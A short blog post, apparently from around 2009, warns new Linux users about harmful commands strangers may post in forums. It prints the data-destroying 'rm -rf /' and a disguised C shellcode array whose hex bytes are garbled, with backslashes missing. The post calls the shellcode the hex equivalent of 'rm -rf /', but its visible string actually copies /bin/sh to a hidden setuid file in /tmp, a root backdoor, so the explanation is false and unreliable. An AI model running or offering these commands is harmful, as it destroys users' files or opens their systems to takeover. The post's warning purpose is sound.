The Dark side of Linux

Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.